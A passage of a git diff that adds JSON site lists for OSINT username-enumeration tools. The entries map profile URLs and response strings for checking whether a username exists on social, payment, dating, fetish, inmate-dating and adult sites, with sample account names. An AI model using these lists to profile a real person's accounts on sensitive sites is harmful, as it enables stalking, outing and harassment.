    ", + "m_code": 200, + "known": [ + "jack", + "allen" + ], + "cat": "social" + }, + { + "name": "Wikimapia", + "uri_check": "https://wikimapia.org/user/register/?check=username&value={account}", + "uri_pretty": "https://wikimapia.org/user/tools/users_rating/?username={account}", + "e_code": 200, + "e_string": "\"ok\":false", + "m_string": "\"ok\":true", + "m_code": 200, + "known": [ + "bubnilka", + "Teresa" + ], + "cat": "social" + }, + { + "name": "Wikipedia", + "uri_check": "https://meta.wikimedia.org/w/api.php?action=query&format=json&list=globalallusers&aguprefix={account}&agulimit=100", + "uri_pretty": "https://en.wikipedia.org/wiki/User:{account}", + "e_code": 200, + "e_string": "{\"id\":", + "m_string": ":[]}}", + "m_code": 200, + "known": [ + "sector051", + "webbreacher" + ], + "cat": "news" + }, + { + "name": "Wimkin-PublicProfile", + "uri_check": "https://wimkin.com/{account}", + "e_code": 200, + "e_string": "is on WIMKIN", + "m_string": " The page you are looking for cannot be found.", + "m_code": 404, + "known": [ + "alex", + "smith", + "boomer" + ], + "cat": "political" + }, + { + "name": "Wireclub", + "uri_check": "https://www.wireclub.com/users/{account}", + "e_code": 200, + "e_string": "Chat With", + "m_string": "People - Wireclub", + "m_code": 301, + "known": [ + "deae", + "cheerfulsarcasm", + "braydenskiresort" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Wishlistr", + "uri_check": "https://www.wishlistr.com/sign-up/?rs=checkUserName&rsargs[]={account}", + "uri_pretty": "https://www.wishlistr.com/{account}/", + "e_code": 200, + "e_string": "+:var res = \"", + "m_string": "+:var res = parseInt(0);", + "m_code": 200, + "known": [ + "bodymodgrrrl", + "kethistle" + ], + "cat": "shopping" + }, + { + "name": "wordnik", + "uri_check": "https://www.wordnik.com/users/{account}", + "e_code": 200, + "e_string": "Welcome,", + "m_string": "Wordnik: Page Not Found", + "m_code": 404, + "known": [ + "elle", + "john" + ], + "cat": "gaming" + }, + { + "name": "WordPress.com (Deleted)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 403, + "e_string": "\"message\":\"API calls to this endpoint have been disabled.\"", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "ahegyes", + "santinamichelle" + ], + "cat": "blog" + }, + { + "name": "WordPress.com (Private)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 403, + "e_string": "\"message\":\"User cannot access this private blog.\"", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "webbreacher", + "mary" + ], + "cat": "blog" + }, + { + "name": "WordPress.com (Public)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 200, + "e_string": "\"ID\":", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "dukeupress", + "krolowasuperstarblog" + ], + "cat": "blog" + }, + { + "name": "WordPress.org (Forums)", + "uri_check": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{account}", + "uri_pretty": "https://wordpress.org/support/users/{account}/", + "e_code": 200, + "e_string": "\"error\":\"That username is already in use.", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "jane", + "david" + ], + "cat": "blog" + }, + { + "name": "WordPress.org (Profiles)", + "uri_check": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{account}", + "uri_pretty": "https://profiles.wordpress.org/{account}/", + "e_code": 200, + "e_string": "\"error\":\"That username is already in use.", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "toszcze", + "mattsson" + ], + "cat": "blog" + }, + { + "name": "Wowhead", + "uri_check": "https://www.wowhead.com/user={account}", + "e_code": 200, + "e_string": " Profile - Wowhead", + "m_string": "Error - Wowhead", + "m_code": 404, + "known": [ + "Ashelia", + "Zizarz" + ], + "cat": "gaming" + }, + { + "name": "Wykop", + "uri_check": "https://wykop.pl/ludzie/{account}", + "e_code": 200, + "e_string": "Profil:", + "m_string": "Wystąpił błąd 404.", + "m_code": 404, + "known": [ + "test", + "test2" + ], + "cat": "social" + }, + { + "name": "X", + "uri_check": "https://api.x.com/i/users/username_available.json?username={account}", + "uri_pretty": "https://x.com/{account}", + "e_code": 200, + "e_string": "\"reason\":\"taken\"", + "m_string": "\"reason\":\"available\"", + "m_code": 200, + "known": [ + "WebBreacher", + "OSINT_Tactical" + ], + "cat": "social" + }, + { + "name": "Xakep.ru", + "uri_check": "https://xakep.ru/author/{account}/", + "e_code": 200, + "e_string": "authorBlock-avatar", + "m_string": "Страница не найдена", + "m_code": 404, + "known": [ + "tr3harder", + "stariy" + ], + "cat": "tech" + }, + { + "name": "Xanga", + "uri_check": "http://{account}.xanga.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s Xanga Site | Just", + "m_string": "", + "m_code": 302, + "known": [ + "john" + ], + "cat": "blog" + }, + { + "name": "Xbox Gamertag", + "uri_check": "https://www.xboxgamertag.com/search/{account}", + "e_code": 200, + "e_string": "Games Played", + "m_string": "Gamertag doesn't exist", + "m_code": 404, + "known": [ + "Spiken8", + "john" + ], + "cat": "gaming" + }, + { + "name": "xHamster", + "uri_check": "https://xhamster.com/users/{account}", + "e_code": 200, + "e_string": "s profile | xHamster", + "m_string": "User not found", + "m_code": 404, + "known": [ + "john", + "tonystark85" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Xing", + "uri_check": "https://www.xing.com/profile/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Bad request", + "m_code": 400, + "known": [ + "john", + "mumrra" + ], + "cat": "xx NSFW xx" + }, + { + "name": "XVIDEOS-models", + "uri_check": "https://www.xvideos.com/models/{account}", + "e_code": 200, + "e_string": "Total video views", + "m_string": "THIS PROFILE DOESN'T EXIST", + "m_code": 404, + "known": [ + "vvalencourt3", + "tiffany-tyler" + ], + "cat": "xx NSFW xx" + }, + { + "name": "XVIDEOS-profiles", + "uri_check": "https://www.xvideos.com/profiles/{account}", + "e_code": 200, + "e_string": "page - XVIDEOS.COM", + "m_string": "THIS PROFILE DOESN'T EXIST", + "m_code": 404, + "known": [ + "nympho-nailer", + "dpadicto", + "bkg" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Yahoo! JAPAN Auction", + "uri_check": "https://auctions.yahoo.co.jp/follow/list/{account}", + "e_code": 200, + "e_string": "出品者", + "m_string": "Yahoo! JAPAN IDが無効です。", + "m_code": 500, + "known": [ + "fltr14502003" + ], + "cat": "shopping" + }, + { + "name": "yapishu", + "uri_check": "https://yapishu.net/user/{account}", + "e_code": 200, + "e_string": "for_profile", + "m_string": "Not Found (#404)", + "m_code": 404, + "known": [ + "roman", + "semion" + ], + "cat": "hobby" + }, + { + "name": "Yazawaj", + "uri_check": "https://www.yazawaj.com/profile/{account}", + "e_code": 200, + "e_string": "profile-description", + "m_string": "<title>nodata", + "m_code": 302, + "known": [ + "monya14555d", + "LordMohy" + ], + "cat": "dating" + }, + { + "name": "YesWeHack", + "uri_check": "https://api.yeswehack.com/hunters/{account}", + "uri_pretty": "https://yeswehack.com/hunters/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"code\":404", + "m_code": 404, + "known": [ + "xel", + "rabhi" + ], + "cat": "tech" + }, + { + "name": "YouNow", + "uri_check": "https://api.younow.com/php/api/broadcast/info/user={account}", + "uri_pretty": "https://www.younow.com/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"errorMsg\":\"No users found\"", + "m_code": 200, + "known": [ + "lydia_tan33", + "RavJagz" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "youpic", + "uri_check": "https://youpic.com/photographer/{account}", + "e_code": 200, + "e_string": "<meta name=\"og:title\"", + "m_string": "<title>YouPic — Not Found", + "m_code": 404, + "known": [ + "photodude", + "mike" + ], + "cat": "hobby" + }, + { + "name": "YouTube Channel", + "uri_check": "https://www.youtube.com/c/{account}/about", + "e_code": 200, + "e_string": "joinedDateText", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "OvylarockTHR", + "OSINTDojo" + ], + "cat": "video" + }, + { + "name": "YouTube User", + "uri_check": "https://www.youtube.com/user/{account}/about", + "e_code": 200, + "e_string": "joinedDateText", + "m_string": "<title>404 Not Found", + "m_code": 404, + "known": [ + "MicahHoffman", + "theosintcuriousproject" + ], + "cat": "video" + }, + { + "name": "YouTube User2", + "uri_check": "https://www.youtube.com/@{account}", + "e_code": 200, + "e_string": "canonicalBaseUrl", + "m_string": "<title>404 Not Found", + "m_code": 404, + "known": [ + "tactical-systems", + "CybersecurityMeg" + ], + "cat": "video" + }, + { + "name": "Zbiornik", + "uri_check": "https://mini.zbiornik.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "INFO", + "m_string": "", + "m_code": 301, + "known": [ + "69uzytkownik69", + "Soif" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Zenn", + "uri_check": "https://zenn.dev/{account}", + "e_code": 200, + "e_string": "
    ", + "m_string": "
    404
    ", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "coding" + }, + { + "name": "Zepeto", + "uri_check": "https://gw-napi.zepeto.io/profiles/{account}", + "uri_pretty": "https://web.zepeto.me/share/user/profile/{account}?language=en", + "e_code": 200, + "e_string": "zepetoId\":", + "m_string": "errorCode\":", + "m_code": 200, + "known": [ + "joe", + "james" + ], + "cat": "social" + }, + { + "name": "zhihu", + "uri_check": "https://api.zhihu.com/books/people/{account}/publications?offset=0&limit=5", + "uri_pretty": "https://www.zhihu.com/people/{account}", + "e_code": 200, + "e_string": "\"is_start\": true", + "m_string": "\"name\": \"NotFoundException\"", + "m_code": 404, + "known": [ + "lushnis", + "kan-shu-jiao-hua-shai-tai-yang" + ], + "cat": "social" + }, + { + "name": "Zillow", + "uri_check": "https://www.zillow.com/profile/{account}/", + "e_code": 200, + "e_string": "- Real Estate Agent", + "m_string": "", + "m_code": 302, + "known": [ + "JOHN-L-SULLIVAN", + "Maggie-Alegria" + ], + "cat": "shopping" + }, + { + "name": "zmarsa.com", + "uri_check": "https://zmarsa.com/uzytkownik/{account}", + "e_code": 200, + "e_string": "Statystyki", + "m_string": "Error 404 - zMarsa.com<", + "m_code": 404, + "known": [ + "janek", + "test" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Znanija", + "uri_check": "https://znanija.com/graphql/ru?operationName=NickAvailability&query=query NickAvailability($nick:String!){nickAvailability(nick:$nick){isAvailable}}&variables={\"nick\":\"{account}\"}", + "uri_pretty": "https://www.google.com/search?q=site:znanija.com+intext:{username}", + "e_code": 200, + "e_string": "\"isAvailable\":false", + "m_string": "\"isAvailable\":true", + "m_code": 200, + "known": [ + "ila817674", + "abduabubakir42" + ], + "cat": "misc", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Zomato", + "uri_check": "https://www.zomato.com/{account}/reviews", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "Activity</h4>", + "m_string": "This is a 404 page and we think it's fairly clear", + "m_code": 404, + "known": [ + "john", + "jess" + ], + "cat": "social" + }, + { + "name": "zoomitir", + "uri_check": "https://www.zoomit.ir/user/{account}/", + "e_code": 301, + "e_string": "", + "m_string": "<title>خطای ۴۰۴ - صفحه یافت نشد", + "m_code": 404, + "known": [ + "rezaghezi", + "hosssssein" + ], + "cat": "tech" + }, + { + "name": "Чатовка.net", + "uri_check": "https://chatovka.net/search?user_nick=+{account}&user_sex_m=on&user_sex_f=on", + "e_code": 200, + "e_string": "href=\"/user/", + "m_string": "По Вашему запросу люди не найдены.", + "m_code": 200, + "known": [ + "ФорматА4", + "Alinka1313" + ], + "cat": "social" + } + ] +} \ No newline at end of file diff --git a/data/sites/cupidcr4wl.json b/data/sites/cupidcr4wl.json new file mode 100644 index 0000000..21967cf --- /dev/null +++ b/data/sites/cupidcr4wl.json @@ -0,0 +1,1897 @@ +{ + "websites": { + "Cash App": { + "url": "https://cash.app/${username}", + "check_text": [ + "on Cash App" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "payment and gifting" + }, + "Venmo": { + "url": "https://account.venmo.com/u/{username}", + "check_text": [ + "robots" + ], + "not_found_text": [ + "Venmo | Page Not Found" + ], + "category": "payment and gifting" + }, + "Buy Me A Coffee": { + "url": "https://buymeacoffee.com/{username}", + "check_text": [ + "og:title" + ], + "not_found_text": [ + "Not found" + ], + "category": "payment and gifting" + }, + "Linktree": { + "url": "https://linktr.ee/{username}", + "check_text": [ + "og:title" + ], + "not_found_text": [ + ":404" + ], + "category": "social" + }, + "Milkshake": { + "url": "https://msha.ke/{username}/", + "check_text": [ + "Milkshake Website Builder" + ], + "not_found_text": [ + "Well, this is awkward..." + ], + "category": "social" + }, + "Get All My Links": { + "url": "https://getallmylinks.com/{username}", + "check_text": [ + "GetAllMyLinks" + ], + "not_found_text": [ + "<title>GetAllMyLinks - 404" + ], + "category": "social" + }, + "All My Links": { + "url": "https://allmylinks.com/{username}", + "check_text": [ + "| AllMyLinks", + "profile-username profile-page" + ], + "not_found_text": [ + "Not Found" + ], + "category": "social" + }, + "Bybio": { + "url": "https://bybio.co/{username}", + "check_text": [ + "BYBIO" + ], + "not_found_text": [ + "404 not found", + "Bybio" + ], + "category": "social" + }, + "Reddit": { + "url": "https://www.reddit.com/user/{username}/", + "check_text": [ + "shreddit-profile-trophy-list", + "karma", + "cake day", + "posted yet" + ], + "not_found_text": [ + "sorry, nobody on reddit goes by that name.", + ">This account may have been banned or the username is incorrect.</p>" + ], + "category": "social" + }, + "Snapchat": { + "url": "https://snapchat.com/add/{username}", + "check_text": [ + "Header_displayNameText", + "Add me on snapchat!" + ], + "not_found_text": [ + "NoContent_title", + "Sorry," + ], + "category": "social" + }, + "Telegram": { + "url": "https://t.me/{username}", + "check_text": [ + "tgme_profile_title", + "tgme_page_extra" + ], + "not_found_text": [ + "noindex, nofollow", + "a new era of messaging" + ], + "category": "social" + }, + "Tumblr": { + "url": "https://www.tumblr.com/{username}", + "check_text": [ + "follow", + "posts" + ], + "not_found_text": [ + "whatever you were looking for" + ], + "category": "social" + }, + "Deviantart": { + "url": "https://www.deviantart.com/{username}", + "check_text": [ + "favourites", + "gallery" + ], + "not_found_text": [ + "llama not found" + ], + "category": "social" + }, + "Wattpad": { + "url": "https://www.wattpad.com/user/{username}", + "check_text": [ + "rss -" + ], + "not_found_text": [ + "wattpad - where stories live" + ], + "category": "social" + }, + "Fur Affinity": { + "url": "https://www.furaffinity.net/user/{username}", + "check_text": [ + "<title>Userpage of" + ], + "not_found_text": [ + "<title>System Error" + ], + "category": "social" + }, + "Fancentro": { + "url": "https://fancentro.com/{username}", + "check_text": [ + "Subscribe", + ">followers", + "modelSlug" + ], + "not_found_text": [ + "Porn Videos" + ], + "category": "social" + }, + "Clapper App": { + "url": "https://www.clapperapp.com/{username}", + "check_text": [ + "following", + "followers", + "likes" + ], + "not_found_text": [ + "couldn't find this account" + ], + "category": "social" + }, + "Tinder": { + "url": "https://www.tinder.com/@{username}", + "check_text": [ + "(@{username}) | Tinder", + "TinderPage Not Found", + "Tinder | Dating, Make Friends &" + ], + "category": "dating and hook-up" + }, + "Fab Swingers": { + "url": "https://www.fabswingers.com/profile/{username}", + "check_text": [ + "

    Looking For

    ", + "

    Meeting

    " + ], + "not_found_text": [ + "

    The user you tried to view doesn't seem to be on the site any more

    " + ], + "category": "dating and hook-up" + }, + "Swapfinder": { + "url": "https://swapfinder.com/profile/{username}", + "check_text": [ + "Profile on Swapfinder.com" + ], + "not_found_text": [ + "Swapfinder.com", + "Swapfinder - Where singles come out to play!" + ], + "category": "dating and hook-up" + }, + "Date-Fans": { + "url": "https://date-fans.com/profile/{username}", + "check_text": [ + "| Date-Fans" + ], + "not_found_text": [ + "DateFans" + ], + "category": "dating and hook-up" + }, + "Tagged": { + "url": "https://www.tagged.com/{username}", + "check_text": [ + "https://tagged.com/{username}", + "robots" + ], + "not_found_text": [ + "Tagged makes it easy", + "meet New People", + "verify-v1" + ], + "category": "dating and hook-up" + }, + "live.Xdating": { + "url": "https://live.xdating.com/{username}/bio", + "check_text": [ + "followers" + ], + "not_found_text": [ + "error, page not found" + ], + "category": "dating and hook-up" + }, + "FriendFinder-X": { + "url": "https://www.friendfinder-x.com/profile/{username}", + "check_text": [ + ">Profile</a>" + ], + "not_found_text": [ + "https://adultfriendfinder.com/p/register.cgi", + "Sign up for free at AdultFriendFinder", + "register, sign up, join, AdultFriendFinder", + "The World's Largest Casual Personals Site." + ], + "category": "dating and hook-up" + }, + "BDSM Singles": { + "url": "https://www.bdsmsingles.com/members/{username}", + "check_text": [ + "<title>Profile" + ], + "not_found_text": [ + "bdsmsingles.com/?language" + ], + "category": "dating and hook-up" + }, + "Find A Femdom": { + "url": "https://app.findafemdom.com/members/{username}", + "check_text": [ + "<title>Profile" + ], + "not_found_text": [ + "findafemdom.com/?language" + ], + "category": "dating and hook-up" + }, + "Inmate Classified (search)": { + "url": "https://www.inmate.com/?s={username}&post_type=inmate", + "check_text": [ + "profile-block Male" + ], + "not_found_text": [ + "search-no-results" + ], + "category": "dating and hook-up" + }, + "Women Behind Bars (search)": { + "url": "https://womenbehindbars.com/?s={username}", + "check_text": [ + "</span> Read More" + ], + "not_found_text": [ + "<p>Sorry, but nothing" + ], + "category": "dating and hook-up" + }, + "Inmate Passions": { + "url": "https://inmatepassions.com/dating/{username}/", + "check_text": [ + "<title>Inmate Passions:" + ], + "not_found_text": [ + "<strong>WHAT?" + ], + "category": "dating and hook-up" + }, + "Tasty Slips (underwear sales)": { + "url": "https://tastyslips.com/en/vendors/{username}", + "check_text": [ + ">About me</h2>" + ], + "not_found_text": [ + "The website was not found. Feel free to check out tastyslips.com", + "<title>Not found - TastySlips" + ], + "category": "fetish" + }, + "SoMyMy (underwear sales)": { + "url": "https://somymy.com/{username}", + "check_text": [ + ">Last seen", + ">Items of" + ], + "not_found_text": [ + ">Sorry, that page is not found!

    " + ], + "category": "fetish" + }, + "UBIUSB (underwear sales)": { + "url": "https://ubisub.com/profile/{username}/", + "check_text": [ + "Follow", + ">Age:", + ">About" + ], + "not_found_text": [ + ">ohh! page not found

    " + ], + "category": "fetish" + }, + "Fetish Finder": { + "url": "https://app.fetishfinder.com/sellerProfile/{username}", + "check_text": [ + ">Photos
    ", + ">Videos

    ", + "Follow" + ], + "not_found_text": [ + "

    Something went wrong

    " + ], + "category": "fetish" + }, + "Feet Finder": { + "url": "https://app.feetfinder.com/sellerProfile/{username}", + "check_text": [ + ">Photos", + ">Videos", + "Follow" + ], + "not_found_text": [ + "

    Something went wrong

    " + ], + "category": "fetish" + }, + "Sinful Feet": { + "url": "https://sinfulfeet.com/models/{username}.html", + "check_text": [ + "SinfulFeet | " + ], + "not_found_text": [ + "Page not found" + ], + "category": "fetish" + }, + "Foot Fetish Beauties": { + "url": "https://footfetishbeauties.com/tour/models/{username}.html", + "check_text": [ + "<TITLE>FootFetishBeauties" + ], + "not_found_text": [ + "Page not found" + ], + "category": "fetish" + }, + "Fetish.com": { + "url": "https://www.fetish.com/p/{username}/", + "check_text": [ + ">Send message</span>", + "<h3>Interested in", + "About me", + "This profile is only visible for users who are logged in</h2>" + ], + "not_found_text": [ + "<title>404 Not Found" + ], + "category": "fetish" + }, + "XXXfollow": { + "url": "https://www.xxxfollow.com/{username}", + "check_text": [ + "</b>Views</div>", + "</b>Followers</div>", + "</b>Likes</div>" + ], + "not_found_text": [ + "<title>XXX follow - Free TikTok Porn (formerly Xfollow)" + ], + "category": "adult video and photo" + }, + "WatchMyGF": { + "url": "https://www.watchmygf.me/girls/{username}/", + "check_text": [ + "Age:", + "Name:", + ">Subscribe" + ], + "not_found_text": [ + "Page is not found: deleted or never existed" + ], + "category": "adult video and photo" + }, + "VR PORN": { + "url": "https://vrporn.com/pornstars/{username}/", + "check_text": [ + ">Follow" + ], + "not_found_text": [ + "We're sorry, but this page wasn't found.

    ", + "pornstar-item-name ranking" + ], + "category": "adult video and photo" + }, + "badoink vr": { + "url": "https://badoinkvr.com/vr-pornstar/{username}/", + "check_text": [ + "Measurements:
    ", + ">Height:", + ">Eyes:" + ], + "not_found_text": [ + "This page does not exist" + ], + "category": "adult video and photo" + }, + "Wankz VR": { + "url": "https://www.wankzvr.com/{username}", + "check_text": [ + ">Birthplace:", + ">Age:", + ">Height:" + ], + "not_found_text": [ + "Oops 404, we couldn't find the page you're looking for" + ], + "category": "adult video and photo" + }, + "SexLikeReal": { + "url": "https://www.sexlikereal.com/pornstars/{username}", + "check_text": [ + ">Date of birth", + ">Country of Origin", + ">Weight" + ], + "not_found_text": [ + ">Sorry... Requested page doesn't exist." + ], + "category": "adult video and photo" + }, + "Babepedia": { + "url": "https://www.babepedia.com/babe/{username}", + "check_text": [ + ">Add to favorites", + ">Body type:" + ], + "not_found_text": [ + "Sorry, she wasn't found in our database.", + "There's no exact match in our database." + ], + "category": "adult video and photo" + }, + "Tranny Videosx": { + "url": "https://trannyvideosx.com/user/{username}", + "check_text": [ + "Last Login:", + "Joined:" + ], + "not_found_text": [ + "Error", + "This user does not exist." + ], + "category": "adult video and photo" + }, + "Pornzog": { + "url": "https://pornzog.com/pornstar/{username}/", + "check_text": [ + ">Aliases:", + ">Birth Date:", + ">Hair Color:" + ], + "not_found_text": [ + "UUUPS there is no content matching your query.", + ">Not Found" + ], + "category": "adult video and photo" + }, + "Tube Galore (pornstars)": { + "url": "https://www.tubegalore.com/pornstar/{username}", + "check_text": [ + "results found", + "1" + ], + "not_found_text": [ + "404 not found" + ], + "category": "adult video and photo" + }, + "Tube Galore (channels)": { + "url": "https://www.tubegalore.com/source/{username}", + "check_text": [ + "results found", + "1" + ], + "not_found_text": [ + "404 not found" + ], + "category": "adult video and photo" + }, + "Shesfreaky": { + "url": "https://www.shesfreaky.com/profile/{username}/", + "check_text": [ + "views

    " + ], + "not_found_text": [ + "

    The requested file was not found on this server.

    " + ], + "category": "adult video and photo" + }, + "Playboy App": { + "url": "https://www.playboy.com/app/{username}", + "check_text": [ + "exclusive content on Playboy | The Playboy Club" + ], + "not_found_text": [ + "<title>Not Found" + ], + "category": "adult video and photo" + }, + "RealGfPorn (user)": { + "url": "https://www.realgfporn.com/user/{username}", + "check_text": [ + "Profile - Real Girlfriend Porn" + ], + "not_found_text": [ + "404 - page not found" + ], + "category": "adult video and photo" + }, + "BabesDirectory": { + "url": "https://babesdirectory.online/profile/{username}", + "check_text": [ + "BIO, Wiki, News" + ], + "not_found_text": [ + "Babe not found 404" + ], + "category": "adult video and photo" + }, + "Boobpedia": { + "url": "https://www.boobpedia.com/wiki/index.php?title=Special:Search&profile=all&search={username}&fulltext=1", + "check_text": [ + "Page title matches" + ], + "not_found_text": [ + "There were no results matching the query." + ], + "category": "adult video and photo" + }, + "Fansify": { + "url": "https://fansify.co.uk/{username}", + "check_text": [ + "'s profile" + ], + "not_found_text": [ + "Fansify | Join" + ], + "category": "adult video and photo" + }, + "Pornhub (pornstars)": { + "url": "https://www.pornhub.com/pornstar/{username}", + "check_text": [ + "<div id=\"avatarPicture\">", + "Subscribers:", + "Video Views:", + "Gender:" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "<title>Page Not Found", + "Top Pornstars and Models In Full-Length Free Sex Videos" + ], + "category": "adult video and photo" + }, + "Pornhub (models)": { + "url": "https://www.pornhub.com/model/{username}", + "check_text": [ + "Model Rank </div>", + "add friend" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "<title>Page Not Found", + "Top Pornstars and Models In Full-Length Free Sex Videos" + ], + "category": "adult video and photo" + }, + "Pornhub (users)": { + "url": "https://www.pornhub.com/users/{username}", + "check_text": [ + "<title>{username}", + "Profile - Pornhub.com" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Pornhub (channels)": { + "url": "https://www.pornhub.com/channels/{username}", + "check_text": [ + "{username}", + "Profile - Pornhub.com", + "joined" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "XVIDEOS (pornstars)": { + "url": "https://www.xvideos.com/pornstars/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS (users/channels)": { + "url": "https://www.xvideos.com/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS (profiles)": { + "url": "https://www.xvideos.com/profiles/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS Red": { + "url": "https://www.xvideos.red/{username}", + "check_text": [ + "video views", + "Subscribe", + "Videos" + ], + "not_found_text": [ + "Learn more" + ], + "category": "adult video and photo" + }, + "Redtube (pornstars)": { + "url": "https://www.redtube.com/pornstar/{username}", + "check_text": [ + "index, follow", + "Bio" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Redtube (users)": { + "url": "https://www.redtube.com/users/{username}", + "check_text": [ + "{username}'s Profile - RedTube", + "noindex, follow" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "Redtube (channels)": { + "url": "https://www.redtube.com/channels/{username}", + "check_text": [ + "{username} Channel Page: Free Porn Movies | Redtube", + "index, follow" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XNXX (pornstars)": { + "url": "https://www.xnxx.com/pornstar/{username}", + "check_text": [ + "Model page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404", + "THIS PROFILE DOESN", + "Unknown profile" + ], + "category": "adult video and photo" + }, + "XNXX (porn-maker)": { + "url": "https://www.xnxx.com/porn-maker/{username}", + "check_text": [ + "Porn Maker" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404", + "THIS PROFILE DOESN", + "Unknown profile" + ], + "category": "adult video and photo" + }, + "XHAMSTER (users)": { + "url": "https://www.xhamster.com/users/{username}", + "check_text": [ + "{username}", + "xHamster" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "User not found" + ], + "category": "adult video and photo" + }, + "Motherless": { + "url": "https://www.motherless.com/m/{username}", + "check_text": [ + "Add friend" + ], + "not_found_text": [ + "Oh damn!" + ], + "category": "adult video and photo" + }, + "RedGIFs": { + "url": "https://www.redgifs.com/users/{username}", + "check_text": [ + "about" + ], + "not_found_text": [ + "robots" + ], + "category": "adult video and photo" + }, + "Sheer": { + "url": "https://www.sheer.com/{username}", + "check_text": [ + "FOLLOW" + ], + "not_found_text": [ + "404", + "Hmm, something's wrong.", + "Oops, page not found" + ], + "category": "adult video and photo" + }, + "JustFor.Fans": { + "url": "https://justforfans.com/{username}", + "check_text": [ + "Member since" + ], + "not_found_text": [ + "Filter By Gender" + ], + "category": "adult video and photo" + }, + "YouPorn (channels)": { + "url": "https://www.youporn.com/channel/{username}/", + "check_text": [ + "ranking" + ], + "not_found_text": [ + "Free Videos From" + ], + "category": "adult video and photo" + }, + "YouPorn (pornstars)": { + "url": "https://www.youporn.com/pornstar/{username}/", + "check_text": [ + "porn videos" + ], + "not_found_text": [ + "WE TRIED", + "WE REALLY DID", + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "YouPorn (uservids)": { + "url": "https://www.youporn.com/uservids/{username}/", + "check_text": [ + "free porn videos" + ], + "not_found_text": [ + "WE TRIED", + "WE REALLY DID", + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "FrolicMe (models)": { + "url": "https://www.frolicme.com/models/{username}/", + "check_text": [ + "naughty content featuring" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "Fanvue": { + "url": "https://www.fanvue.com/{username}", + "check_text": [ + "posts", + "show more" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "AdmireMe.VIP": { + "url": "https://admireme.vip/{username}/", + "check_text": [ + "subscribe for", + "post count" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "Tube8 (pornstars)": { + "url": "https://www.tube8.com/pornstar/{username}/", + "check_text": [ + "Porn Videos and XXX Movies | Tube8.com" + ], + "not_found_text": [ + "404 Page Not Found" + ], + "category": "adult video and 